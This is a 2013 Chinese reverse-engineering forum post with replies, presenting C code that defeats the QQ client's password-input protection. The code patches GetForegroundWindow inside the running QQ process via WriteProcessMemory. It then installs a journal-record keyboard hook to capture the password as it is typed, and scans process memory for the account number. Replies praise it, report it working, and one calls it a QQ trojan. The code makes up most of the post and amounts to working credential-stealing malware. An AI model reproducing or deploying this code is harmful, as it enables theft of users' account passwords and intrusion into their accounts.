首页
社区
课程
招聘
[原创]禁用QQ密码保护
发表于: 2013-5-10 00:39 31401

[原创]禁用QQ密码保护

2013-5-10 00:39
31401
此法针对QQ2010-2013Beta3(也许以后的版本还有这个问题)都有效,因为我在发表该帖子之前搜索过看雪,有不少会员都在研究这个东西,其中不乏不断创建底层钩子的方法,也有分析出密码保护模块随机产生的干扰字符的,个人感觉都不是很靠谱~~怎么说呢,反正就是不靠谱吧
        首先做一点知识的普及(用SPY++都可以分析出来,此自然段可以忽略不看):QQ2013 有一个驱动级的保护名曰QQProtect.sys,这玩意我没分析过,但是 在我写代码的过程中我发现有调试权限和管理员权限的程序都不可以对QQ进程CreateRemoteThread,自己写dll放到QQ目录下让它主动加载也会被识别出来~~~此外QQ登录框有两个QQ.exe进程,一个是登录框,一个是密码框(这俩东西是分开的,只不过那个密码框会随着登录框的移动而移动罢了),同时会有两个标题为“QQ2013”,类名为“TXGuiFoundation”的窗口,一个是隐藏的,一个是显示的,显示的那个窗口会在登录成功之后消失,隐藏的那个会在登录成功之后显示出来,但是登录成功之后窗口句柄会变,进程ID不变(也可能不叫显示出来吧,因为 句柄是会变的),对于那个密码框,密码框窗口标题每次都会变化,是大写字母随机变化的,密码框由3个窗口构成,顶端窗口类名为“Edit”,类名为大写字母随机,其父窗口没有标题,类名为“TXGuiFoundation”,父窗口的父窗口类名为“TXGFLayerMask”,还是没有标题
        其次我们打开QQ登录框,然后自己写个钩子测试程序(全局键盘钩子,日志钩子 都OK),我们会发现一个很奇怪的问题->那就是当我们的光标锁定在密码框的时候密码保护模块才会发送干扰字符,其他所有情况均不会,那我们有没有发现什么问题没?也许你已经想到了,QQ内部就是通过某个API来判断密码框是否获取了输入焦点的,只要我们知道是通过哪个函数来判断的,然后HOOK那个函数就ok了。。。能有什么函数呢?这个 非GetForegroundWindow莫属

        我们只要HOOK了GetForegroundWindow让QQ调用这个函数的之后 直接返回0就可以了,方法有很多,我们就找一个一般情况下会返回0的函数 AnyPopup来替换那个GetForegroundWindow函数好了,代码如下:

FARPROC GetFuncAddr()
{
	HMODULE hModule=GetModuleHandle("user32.dll");
	if(hModule)
		return GetProcAddress(hModule,"AnyPopup");
	else return 0;
}


void DisableKeyProtect(HWND h)//h为显示的那个QQ登录框窗口句柄
{
	HWND hWin;
	HANDLE hProcess;
	DWORD ProcessId;
	GetWindowThreadProcessId(h,&ProcessId);
	hProcess=OpenProcess(0x1F0FFF,FALSE,ProcessId);
	if(hProcess)
	{
		
		HMODULE hModule=GetModuleHandle("user32.dll");
		if(hModule)
		{
			
			FARPROC oldAddr=GetProcAddress(hModule,"GetForegroundWindow");
			FARPROC newAddr=GetFuncAddr();
			unsigned int jmpAddr=(unsigned int)newAddr-(unsigned int)oldAddr-5;
			char sBuffer[5];
			sBuffer[0]=(char)0xE9;//0XE9为JMP,我想这里的大神应该都能看懂这部分代码的
			CopyMemory(&sBuffer[1],&jmpAddr,4);
			WriteProcessMemory(hProcess,oldAddr,sBuffer,5,NULL);
			
			
		}
		CloseHandle(hProcess);
	}
	

}


下面是获取显示的那个QQ登录窗口句柄的代码:
bool isExistPasswordEdit()//Test OK
{
	HWND hChild;
	HWND hEdit;
	hEdit=FindWindowEx(NULL,NULL,"TXGFLayerMask",NULL);
	while(hEdit)
	{
		hChild=FindWindowEx(hEdit,NULL,NULL,NULL);
		if(hEdit && hChild)return 1;
		else 
		hEdit=FindWindowEx(NULL,hEdit,"TXGFLayerMask",NULL);

	}
	return 0;
	
	
}

HWND GetQQLoginWin() //如果存在登录窗口就返回登录窗口句柄
{
	HWND hWin;
	hWin=FindWindow("TXGuiFoundation","QQ2013");
	if(hWin)
	{
		if(isExistPasswordEdit())
			return hWin;
		else return 0;
	}
	else return 0;
	
}


        

为了在密码框获取输入焦点的时候禁用密码保护,我还写了一个函数:
bool isFoucsOnPasswordEdit()
{
	HWND hWin = GetForegroundWindow();
	HWND hChild;
	hChild=GetTopWindow(hWin);//GetParent(hWin);
	char szhWinClassName[40],szhChildClassName[40];
	ZeroMemory(szhWinClassName,40);
	ZeroMemory(szhChildClassName,40);
	GetClassName(hChild,szhChildClassName,40);
	GetClassName(hWin,szhWinClassName,40);


	if(!strcmp(szhWinClassName,"Edit")  || !strcmp(szhChildClassName,"Edit"))
		return true;
	else return false;

	
}


接下来在主函数中写个循环 或者用定时器判断下:
HWND hQQLogin;
static bool f=true;//为了钩子不被设置多次而设置的一个标志
case WM_TIMER:
		
		if(GetQQLoginWin() &&f )//如果发现QQ登录窗口
		{
			hQQLogin=GetQQLoginWin();
			DisableKeyProtect(hQQLogin);//搞定密码保护
			if(isFoucsOnPasswordEdit() )//如果密码框获取输入焦点则放置一个键盘钩子记录密码
			{
				LogHook=SetWindowsHookEx(WH_JOURNALRECORD,LogProc,ghInstance,NULL);
				f=false;
			}
			if(!isFoucsOnPasswordEdit())
			{
				UnhookWindowsHookEx(LogHook);
				f=true;
			}
		
				 
		}


另外,为了把QQ号也取出来,我还写了个取QQ号的函数:
int GetInBuffer(const void *pStart, int nLen, const void *pFindBuffer, int nfLen)     
{     
	for (int i = 0; i < nLen - nfLen; i++)     
	{     
		if (memcmp((void *)((ULONG)pStart + i), pFindBuffer, nfLen) == 0)     
		{     
			return i;     
		}     
	}     
	
	return -1;     
}     

bool ReadQQ(DWORD dwProcessId,wchar_t *szQQnumber)     
{     
	   
	static wchar_t QQDATA[] = L"Msg2.0.db";      
	    
	HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 0, dwProcessId);     
	
	int nMemLen = 28, nMemStart;     
	void *pMemAddress = NULL;     
	BYTE *bMemBuffer;     
	
	MEMORY_BASIC_INFORMATION mbi;     
	memset(&mbi, 0, sizeof(MEMORY_BASIC_INFORMATION));     
	
	
    
	while (VirtualQueryEx(hProcess, pMemAddress, &mbi, nMemLen) != 0)     
	{     
		if (mbi.Type == MEM_PRIVATE && mbi.Protect == PAGE_READWRITE)     
		{     
			    
			bMemBuffer = new BYTE[mbi.RegionSize + 1];
			
			bMemBuffer[mbi.RegionSize] = 0;     
			
			if (ReadProcessMemory(hProcess, pMemAddress, bMemBuffer, mbi.RegionSize, NULL))     
			{     
				  
				nMemStart = GetInBuffer(bMemBuffer, mbi.RegionSize, QQDATA, sizeof(QQDATA));     
				
				if (nMemStart != -1)     
				{     
					
					wchar_t *pQQText = (wchar_t *)&bMemBuffer[nMemStart-4];  //指向肯定指向QQ号某一位置
					while((char)*pQQText>='0' && (char)*pQQText<='9')
					{
						pQQText--;
					}
					wchar_t *pQQstart=pQQText;
					
					if (pQQstart)     
					{     
						pQQstart++;     
						wchar_t *pQQEnd = wcsstr(pQQstart, L"\\");     
						if (pQQEnd)     
						{     
							lstrcpynW(szQQnumber, pQQstart, pQQEnd - pQQstart + 1); 
							delete[] bMemBuffer; 
							return 1;    
						}     
					}     
					
					delete[] bMemBuffer; 
				
					break;     
				}     
			}       
			delete[] bMemBuffer;     
		
		}     
		pMemAddress = (void *)((ULONG)pMemAddress + mbi.RegionSize);     
	}     
	return 0;
	CloseHandle(hProcess);     
}     

DWORD GetQQPID(DWORD dwStartProcess)     
{     
 
	HANDLE Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,dwStartProcess);     
	
	PROCESSENTRY32 pl;     
	pl.dwSize=sizeof(PROCESSENTRY32);     
	if (Process32First(Snapshot, &pl))     
	{     
		do{     
			if(lstrcmpi(pl.szExeFile, _T("QQ.exe")) == 0)     
			{     
			 
				return pl.th32ProcessID;     
			    
			}     
		}while(Process32Next(Snapshot, &pl));     
		
	}     
	CloseHandle(Snapshot);         
}     

DWORD GetPIDbyHwnd(HWND hWin)
{
	DWORD dwpid;
	GetWindowThreadProcessId(hWin,&dwpid);
	return dwpid;
}


用的时候 像这样用就ok了,下面给出的还是一个函数:
bool GetLastLoginQQNumber(wchar_t* szQQnumber)
{
	HWND hWnd = FindWindowEx(NULL,NULL,"TXGuiFoundation","QQ2013");
	if(ReadQQ(GetPIDbyHwnd(hWnd),szQQnumber))
		if(!isQQinList(szQQnumber))
		{
			pushQQintoList(szQQnumber);
			return true;
		}
	else 
		return false;
}


为了把登录过的QQ都保存起来,我写了一个这样的链表:
typedef struct qq
{
	wchar_t QQNumber[15];
	struct qq *next;
}qqNode,*pqqNode;


并写了相关操作函数:
void pushQQintoList(wchar_t *szQQnumber)
{
	pqqNode p=(pqqNode)malloc(sizeof(qqNode));
	wcscpy(p->QQNumber,szQQnumber);
	p->next=NULL;
	pqqNode q=QQNHead;
	while(q->next)
		q=q->next;
	q->next=p;

}
bool isQQinList(wchar_t *szQQnumber)
{
	pqqNode q=QQNHead;
	while(q=q->next)
	{
		if(!wcscmp(q->QQNumber,szQQnumber))
			return true;
		
	}
	return false;
}


没写删除的,因为我还不知道怎么判断QQ被关掉了。。。。若有人有思路,欢迎跟帖讨论~

以上代码如果登录窗口被关闭是毫无影响的~
工程文件我就不放上来了,因为~~因为~~原因我就不多说了,其实我除了WinMain ,和窗口过程函数以及钩子回调函数没放上来之外其他代码都放上来了,代码自己组织下

本人 Win7 32位 旗舰版 VC++6
QQ2013 Beta3(6531)亲测可行~
证据就是这个:(我反正是搞定密码保护了,如果硬说我是搞了很久才截了这么张图,那我也没办法)


鉴于有人说图片没有说服力,那么下面的这两张呢?



还有 bin和工程文件因为种种原因(我想明理的人都应该懂为什么的)我是不可能放上来的~

有的人说没用,那我只做一点点解释:上诉代码自我有思路之后写了一个星期(平时还要上课),在看雪这种氛围里,我想我没必要发没用的东西,我也是不断调试不断调试(期间还动用了Cheat.Engine)才完成了DisableKeyProtect函数,如果不行,我想问题不在我
借用9楼一句话:有些东西只有你自己动手操刀了,才是你的

8楼说的那个我去看了一下,雪友们也可去学习下,思路相同,解决方案不同,同样不做解释,对于QQ2013各位自己试了就知道了

附件中给出了那个键盘钩子(来自罗云彬教授那本WIN32汇编著作的光盘)
各位雪友(曾经讨论过怎么叫,我感觉这样叫亲切点)拿去试试吧~
我感觉没发错版,要是错了还有劳版主移动一下~~~

[课程]Android-CTF解题方法汇总!

上传的附件:
收藏
免费 6
支持
分享
最新回复 (73)
雪    币: 92
活跃值: (209)
能力值: ( LV6,RANK:95 )
在线值:
发帖
回帖
粉丝
2
沙发自己坐~都凌晨1点了还这么多人,难怪说要是早上9点钟看见一个码农那么 那个码农必定通宵了~~各位都早点早点洗洗睡吧,身体要紧,我洗洗睡了,明天我没课,中午回这里来看帖,晚安 各位~
2013-5-10 01:05
0
雪    币: 4873
活跃值: (3112)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
先回复,慢慢看~~~
2013-5-10 01:06
0
雪    币: 6695
活跃值: (1159)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
临睡前来瞄一眼~~~
2013-5-10 01:20
0
雪    币: 163
活跃值: (45)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
前排占座,学习下
2013-5-10 01:40
0
雪    币: 85
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
还没学到这...谢谢分享~
2013-5-10 01:44
0
雪    币: 106
活跃值: (554)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
想法倒是不错,貌似我在我这边试不行
2013-5-10 01:58
0
雪    币: 11
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
8
早就发了  http://hi.baidu.com/sincoder/item/ee2848b0bc5dd9b6eaba938c
2013-5-10 05:18
0
雪    币: 269
活跃值: (906)
能力值: ( LV12,RANK:345 )
在线值:
发帖
回帖
粉丝
9
赞一个,有些东西只有你自己动手操刀了,才是你的
2013-5-10 06:49
0
雪    币: 92
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
很邪恶 的帖子啊
2013-5-10 07:03
0
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
感谢共享

谢谢
2013-5-10 07:15
0
雪    币: 371
活跃值: (72)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
12
额,前排~~~~~~~
2013-5-10 07:18
0
雪    币: 45
活跃值: (55)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
13
学习了!我还以为在TX强大的保护下已经没有QQ木马了呢
2013-5-10 07:53
0
雪    币: 8865
活跃值: (2379)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
14
赞一个先。QQProtect确实很吐槽的东西~
2013-5-10 08:16
0
雪    币: 778
活跃值: (208)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
15
不行的,QQ好像在内核Hook的那个键盘钩子回调函数,键盘按键根本就不进入用户层
2013-5-10 08:24
0
雪    币: 967
活跃值: (1138)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
16
楼主你那张图没有说服力啊!起码要截取个账户密码吧 或者干脆丢个bin出来玩玩啊
2013-5-10 08:47
0
雪    币: 185
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
坐等律师函?
2013-5-10 09:12
0
雪    币: 44
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
18
还不错。学习下。。
2013-5-10 09:58
0
雪    币: 100
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
还早, TX还要开会发不发律师函, 你等着。。。。
2013-5-10 10:03
0
雪    币: 2177
活跃值: (2045)
能力值: (RANK:400 )
在线值:
发帖
回帖
粉丝
20
很不错的想法啊~
2013-5-10 10:12
0
雪    币: 8
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
研究中,感谢分享
2013-5-10 10:21
0
雪    币: 34
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
22
XP下完全成功,但过不了360,开360后,各种乱码。
2013-5-10 11:18
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
楼主厉害,学习了!
2013-5-10 11:19
0
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ygd
24
当心收到法涵
2013-5-10 11:19
0
雪    币: 406
活跃值: (164)
能力值: ( LV12,RANK:250 )
在线值:
发帖
回帖
粉丝
25
非常同意 ~~
2013-5-10 11:24
0
游客
登录 | 注册 方可回帖
返回
//